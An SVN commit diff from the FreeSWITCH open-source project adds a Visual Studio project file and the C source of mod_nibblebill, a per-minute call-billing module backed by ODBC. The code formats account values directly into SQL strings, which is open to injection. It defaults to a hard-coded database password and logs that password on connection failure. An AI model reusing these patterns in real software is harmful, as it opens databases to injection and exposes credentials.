+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				PreprocessorDefinitions=""
+				UsePrecompiledHeader="0"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				PreprocessorDefinitions=""
+				UsePrecompiledHeader="0"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_nibblebill.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,881 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * The Initial Developer of this module is
+ * Darren Schreiber <d@d-man.org>
+ *
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Darren Schreiber <d@d-man.org>
+ *
+ * mod_nibblebill.c - Nibble Billing
+ * Purpose is to allow real-time debiting of credit or cash from a database while calls are in progress. I had the following goals: 
+ *
+ * Debit credit/cash from accounts real-time 
+ * Allow for billing at different rates during a single call 
+ * Allow for warning callers when their balance is low (via audio, in-channel) 
+ * Allow for disconnecting or re-routing calls when balance is depleted 
+ * Allow for billing to function as listed above with multiple concurrent calls 
+ * 
+ * Thanks go to bandwidth.com for funding this work.
+ *
+ *
+ * TODO: Fix what happens when the DB is not available
+ * TODO: Fix what happens when the DB queries fail (right now, all are acting like success)
+ * TODO: Add buffering abilities
+ * TODO: Make error handling for database, such that when the database is down (or not installed) we just log to a text file
+ * FUTURE: Possibly make the hooks not tied per-channel, and instead just do this as a supervision style application with one thread that watches all calls
+ */
+
+#include <switch.h>
+
+/* Defaults */
+static char SQL_LOOKUP[] = "SELECT %s FROM %s WHERE %s='%s'";
+static char SQL_SAVE[] = "UPDATE %s SET %s=%s-%f WHERE %s='%s'";
+
+typedef struct
+{
+	switch_time_t lastts;	/* Last time we did any billing */
+	float total;	/* Total amount billed so far */
+
+	switch_time_t pausets;	/* Timestamp of when a pause action started. 0 if not paused */
+	float bill_adjustments;	/* Adjustments to make to the next billing, based on pause/resume events */
+
+} nibble_data_t;
+
+
+typedef struct nibblebill_results
+{
+	float	balance;
+
+	float	percall_max; /* Overrides global on a per-user level */
+	float	lowbal_amt;  /*  ditto */
+} nibblebill_results_t;
+
+
+/* Keep track of our config, event hooks and database connection variables, for this module only */
+static struct
+{
+	/* Memory */
+        switch_memory_pool_t *pool;
+
+	/* Event hooks */
+	switch_event_node_t *node;
+
+	/* Global mutex (don't touch a session when it's already being touched) */
+	switch_mutex_t *mutex;
+
+	/* Global billing config options */
+	float	percall_max_amt;	/* Per-call billing limit (safety check, for fraud) */
+	char	*percall_action;	/* Exceeded length of per-call action */
+	float	lowbal_amt;		/* When we warn them they are near depletion */
+	char	*lowbal_action;		/* Low balance action */
+	float	nobal_amt;		/* Minimum amount that must remain in the account */
+	char	*nobal_action;		/* Drop action */
+
+	/* Other options */
+	int	global_heartbeat;	/* Supervise and bill every X seconds, 0 means off */
+
+	/* Database settings */
+	char *db_username;
+	char *db_password;
+	char *db_dsn;
+	char *db_table;
+	char *db_column_cash;
+	char *db_column_account;
+	switch_odbc_handle_t *master_odbc;
+} globals;
+
+static void nibblebill_pause(switch_core_session_t *session);
+
+/**************************
+* Setup FreeSWITCH Macros *
+**************************/
+/* Define the module's load function */
+SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load);
+
+/* Define the module's shutdown function */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown);
+
+/* Define the module's name, load function, shutdown function and runtime function */
+SWITCH_MODULE_DEFINITION(mod_nibblebill, mod_nibblebill_load, mod_nibblebill_shutdown, NULL);
+
+/* String setting functions */
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_username, globals.db_username);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_password, globals.db_password);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_dsn, globals.db_dsn);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_table, globals.db_table);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_column_cash, globals.db_column_cash);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_column_account, globals.db_column_account);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_percall_action, globals.percall_action);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_lowbal_action, globals.lowbal_action);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_nobal_action, globals.nobal_action);
+
+static int nibblebill_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+	nibblebill_results_t *cbt = (nibblebill_results_t *) pArg;
+
+	cbt->balance = (float)atof(argv[0]);
+
+	return 0;
+}
+
+static switch_status_t load_config(void)
+{
+	char *cf = "nibblebill.conf";
+	switch_xml_t cfg, xml = NULL, param, settings;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	
+	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
+		status = SWITCH_STATUS_SUCCESS;  /* We don't fail because we can still write to a text file or buffer */
+		goto setdefaults;
+	}
+	
+	if ((settings = switch_xml_child(cfg, "settings"))) {
+		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+			char *var = (char *) switch_xml_attr_soft(param, "name");
+			char *val = (char *) switch_xml_attr_soft(param, "value");
+
+			if (!strcasecmp(var, "db_username")) {
+				set_global_db_username(val);
+			} else if (!strcasecmp(var, "db_password")) {
+				set_global_db_password(val);
+			} else if (!strcasecmp(var, "db_dsn")) {
+				set_global_db_dsn(val);
+			} else if (!strcasecmp(var, "db_table")) {
+				set_global_db_table(val);
+			} else if (!strcasecmp(var, "db_column_cash")) {
+				set_global_db_column_cash(val);
+			} else if (!strcasecmp(var, "db_column_account")) {
+				set_global_db_column_account(val);
+			} else if (!strcasecmp(var, "percall_action")) {
+				set_global_percall_action(val);
+			} else if (!strcasecmp(var, "percall_max_amt")) {
+				globals.percall_max_amt = (float)atof(val);
+			} else if (!strcasecmp(var, "lowbal_action")) {
+				set_global_lowbal_action(val);
+			} else if (!strcasecmp(var, "lowbal_amt")) {
+				globals.lowbal_amt = (float)atof(val);
+			} else if (!strcasecmp(var, "nobal_action")) {
+				set_global_nobal_action(val);
+			} else if (!strcasecmp(var, "nobal_amt")) {
+				globals.nobal_amt = (float)atof(val);
+			} else if (!strcasecmp(var, "global_heartbeat")) {
+				globals.global_heartbeat = atoi(val);
+			}
+		}
+	}
+	
+/* Set defaults for any variables still not set */
+setdefaults:
+	if (switch_strlen_zero(globals.db_username)) {
+		set_global_db_username("bandwidth.com");
+	}
+	if (switch_strlen_zero(globals.db_password)) {
+		set_global_db_password("dev");
+	}
+	if (switch_strlen_zero(globals.db_dsn)) {
+		set_global_db_dsn("bandwidth.com");
+	}
+	if (switch_strlen_zero(globals.percall_action)) {
+		set_global_percall_action("hangup");
+	}
+	if (switch_strlen_zero(globals.lowbal_action)) {
+		set_global_lowbal_action("play ding");
+	}
+	if (switch_strlen_zero(globals.nobal_action)) {
+		set_global_nobal_action("hangup");
+	}
+
+	if (switch_odbc_available() && globals.db_dsn) {
+		if (!(globals.master_odbc = switch_odbc_handle_new(globals.db_dsn, globals.db_username, globals.db_password))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot create handle to ODBC Database!\n");
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database handle!\n");
+		}
+
+		if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, 
+							  "Cannot connect to ODBC driver/database %s (user: %s / pass %s)!\n",
+							  globals.db_dsn, globals.db_username, globals.db_password);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database!\n");
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", globals.db_dsn);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
+						  "ODBC does not appear to be installed in the core. You need to run ./configure --enable-core-odbc-support\n");
+	}
+
+done:
+	if (xml) {
+		switch_xml_free(xml);
+	}
+	return status;
+}
+
+void debug_event_handler(switch_event_t *event)
+{
+	 if (!event) {
+		return;
+	}
+
+	/* Print out all event headers, for fun */
+	if (event->headers) {
+		switch_event_header_t *event_header = NULL;
+		for (event_header = event->headers; event_header; event_header = event_header->next) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Header info: %s => %s\n", event_header->name, event_header->value);
+		}
+	}
+}
+
+
+static void transfer_call(switch_core_session_t *session, char *destination)
+{
+	char *argv[4] = { 0 };
+	const char *uuid;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	char *mydup;
+
+	if (!destination) {
+		return;
+	}
+
+	mydup = strdup(destination);
+	switch_assert(mydup);
+	switch_separate_string(mydup, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+
+	/* Find the uuid of our B leg. If it exists, transfer it first */
+	if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
+		switch_core_session_t *b_session;
+
+		/* Get info on the B leg */
+		if ((b_session = switch_core_session_locate(uuid))) {
+			/* Make sure we are in the media path on B leg */
+			switch_ivr_media(uuid, SMF_REBRIDGE);
+
+			/* Transfer the B leg */
+			switch_ivr_session_transfer(b_session, argv[0], argv[1], argv[2]);
+			switch_core_session_rwunlock(b_session);
+		}
+	}
+
+	/* Make sure we are in the media path on A leg */
+	uuid = switch_core_session_get_uuid(session);
+	switch_ivr_media(uuid, SMF_REBRIDGE);
+
+	/* Transfer the A leg */
+	switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+	free(mydup);
+}
+
+
+/* At this time, billing never succeeds if you don't have a database. */
+static switch_status_t bill_event(float billamount, const char *billaccount)
+{
+	char sql[1024] = "";
+	switch_odbc_statement_handle_t stmt;
+
+	if (!switch_odbc_available()) {
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account, billaccount);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  "Doing update query\n[%s]\n", sql);
+
+	if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt) != SWITCH_ODBC_SUCCESS) {
+		char *err_str;
+		err_str = switch_odbc_handle_get_error(globals.master_odbc, stmt);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ERR: [%s]\n[%s]\n", sql, switch_str_nil(err_str));
+		switch_safe_free(err_str);
+	} else {
+		/* TODO: Failover to a flat/text file if DB is unavailable */
+
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	switch_odbc_statement_handle_free(&stmt);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+static float get_balance(const char *billaccount)
+{
+	char sql[1024] = "";
+	nibblebill_results_t pdata;
+	float balance = 0.00f;
+
+	if (!switch_odbc_available()) {
+		return -1.00f;
+	}
+
+	memset(&pdata, 0, sizeof(pdata));
+	snprintf(sql, 1024, SQL_LOOKUP, globals.db_column_cash, globals.db_table, globals.db_column_account, billaccount);
+
+	if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, nibblebill_callback, &pdata) != SWITCH_ODBC_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error running this query: [%s]\n", sql);
+		/* Return -1 for safety */
+
+		return -1.00f;
+	} else {
+		/* Successfully retrieved! */
+		balance = pdata.balance;
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
+	}
+	
+	return balance;
+}
+
+/* This is where we actually charge the guy 
+  This can be called anytime a call is in progress or at the end of a call before the session is destroyed */
+static switch_status_t do_billing(switch_core_session_t *session)
+{
+	/* FS vars we will use */
+	switch_channel_t *channel;
+	switch_caller_profile_t *profile;
+
+	/* Local vars */
+	nibble_data_t *nibble_data;
+	switch_time_t ts = switch_micro_time_now();
+	float billamount;
+	char date[80] = "";
+	char *uuid;
+	switch_size_t retsize;
+	switch_time_exp_t tm;
+	const char *billrate;
+	const char *billaccount;
+	float balance;
+
+	if (!session) {
+		/* Why are we here? */
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	uuid = switch_core_session_get_uuid(session);
+
+	/* Get channel var */
+	if (!(channel = switch_core_session_get_channel(session))) {
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	/* Variables kept in FS but relevant only to this module */
+	billrate = switch_channel_get_variable(channel, "nibble_rate");
+	billaccount = switch_channel_get_variable(channel, "nibble_account");
+
+	/* Return if there's no billing information on this session */
+	if (!billrate || !billaccount) {
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate, billaccount);
+
+	/* Get caller profile info from channel */
+	profile = switch_channel_get_caller_profile(channel);
+
+	if (!profile || !profile->times) {
+		/* No caller profile (why would this happen?) */
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	if (profile->times->answered < 1) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Not billing %s - call is not in answered state\n", billaccount);
+
+		/* See if this person has enough money left to continue the call */
+		balance = get_balance(billaccount);
+switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
+		if (balance <= globals.nobal_amt) {
+			/* Not enough money - reroute call to nobal location */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
+
+			transfer_call(session, globals.nobal_action);
+		}
+
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	/* Are we in paused mode? If so, we don't do anything here - go back! */
+	if (nibble_data && (nibble_data->pausets > 0)) {
+		if (globals.mutex) {
+			switch_mutex_unlock(globals.mutex);
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received heartbeat, but we're paused - ignoring\n");
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	/* Have we done any billing on this channel yet? If no, set up vars for doing so */
+	if (!nibble_data) {
+		nibble_data = switch_core_session_alloc(session, sizeof(*nibble_data));
+		memset(nibble_data, 0, sizeof(*nibble_data));
+
+		/* Setup new billing data (based on call answer time, in case this module started late with active calls) */
+		nibble_data->lastts = profile->times->answered;		/* Set the initial answer time to match when the call was really answered */
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Beginning new billing on %s\n", uuid);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Last successful billing time was %s\n", date);
+	}
+
+	switch_time_exp_lt(&tm, nibble_data->lastts);
+	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n", (int) ((ts - nibble_data->lastts) / 1000000), date);
+
+	if ((ts - nibble_data->lastts) >= 0) {
+		/* Convert billrate into microseconds and multiply by # of microseconds that have passed since last *successful* bill */
+		billamount = ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount, uuid, nibble_data->total);
+
+		/* DO ODBC BILLING HERE and reset counters if it's successful! */
+		if (bill_event(billamount, billaccount) == SWITCH_STATUS_SUCCESS) {
+			/* Increment total cost */
+			nibble_data->total += billamount;
+
+			/* Reset manual billing adjustments from pausing */
+			nibble_data->bill_adjustments = 0;
+
+			/* Update channel variable with current billing */
+			switch_channel_set_variable_printf(channel, "nibble_total_billed", "%f", nibble_data->total);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Failed to log to database!\n");
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n", uuid);
+	}
+
+	/* Update the last time we billed */
+	nibble_data->lastts = ts;
+
+	/* Save this location, but only if the channel/session are not hungup (otherwise, we're done) */
+	if (channel && switch_channel_get_state(channel) != CS_HANGUP) {
+		switch_channel_set_private(channel, "_nibble_data_", nibble_data);
+
+		/* See if this person has enough money left to continue the call */
+		balance = get_balance(billaccount);
+		if (balance <= globals.nobal_amt) {
+			/* Not enough money - reroute call to nobal location */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
+
+			/* IMPORTANT: Billing must be paused before the transfer occurs! This prevents infinite loops, since the transfer will result */
+			/* in nibblebill checking the call again in the routing process for an allowed balance! */
+			/* If you intend to give the user the option to re-up their balance, you must clear & resume billing once the balance is updated! */
+			nibblebill_pause(session);
+			transfer_call(session, globals.nobal_action);
+		}
+        }
+
+
+	/* Done changing - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+
+	/* Go check if this call is allowed to continue */
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* You can turn on session heartbeat on a channel to have us check billing more often */
+static void event_handler(switch_event_t *event)
+{
+	switch_core_session_t *session;
+	char *uuid;
+
+	if (!event){
+		/* We should never get here - it means an event came in without the event info */
+		return;
+	}
+
+	/* Make sure everything is sane */
+	if (!(uuid = switch_event_get_header(event, "Unique-ID"))){
+		/* Donde esta channel? */
+		return;
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name (event->event_id));
+
+	/* Display debugging info */
+	if (switch_event_get_header(event, "nibble_debug")) {
+		debug_event_handler(event);
+	}
+
+	/* Get session var */
+	if (!(session = switch_core_session_locate(uuid))) {
+		return;
+	}
+
+	/* Go bill */
+	do_billing(session);
+
+	switch_core_session_rwunlock(session);
+}
+
+static void nibblebill_pause(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_time_t ts = switch_micro_time_now();
+	nibble_data_t *nibble_data;
+
+	if (!channel) {
+		return;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Can't pause - channel is not initialized for billing!\n");
+		return;
+	}
+
+	/* Set pause counter if not already set */
+	if (nibble_data->pausets == 0)
+		nibble_data->pausets = ts;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Paused billing timestamp!\n");
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+}
+
+static void nibblebill_resume(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_time_t ts = switch_micro_time_now();
+	nibble_data_t *nibble_data;
+	const char *billrate;
+
+	if (!channel) {
+		return;
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
+		return;
+	}
+
+	if (nibble_data->pausets == 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Can't resume - channel is not paused! (This is expected at hangup time)\n");
+		return;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	billrate = switch_channel_get_variable(channel, "nibble_rate");
+
+	/* Calculate how much was "lost" to billings during pause - we do this here because you never know when the billrate may change during a call */
+	nibble_data->bill_adjustments += ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n", (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
+
+	nibble_data->pausets = 0;
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+}
+
+static void nibblebill_reset(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_time_t ts = switch_micro_time_now();
+	nibble_data_t *nibble_data;
+
+	if (!channel) {
+		return;
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Can't reset - channel is not initialized for billing!\n");
+		return;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	/* Update the last time we billed */
+	nibble_data->lastts = ts;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Reset last billing timestamp marker to right now!\n");
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+}
+
+static float nibblebill_check(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	nibble_data_t *nibble_data;
+	float amount = 0;
+
+	if (!channel) {
+		return -99999;
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Can't check - channel is not initialized for billing!\n");
+		return -99999;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	amount = nibble_data->total;
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+
+	return amount;
+}
+
+static void nibblebill_adjust(switch_core_session_t *session, float amount)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	const char *billaccount;
+
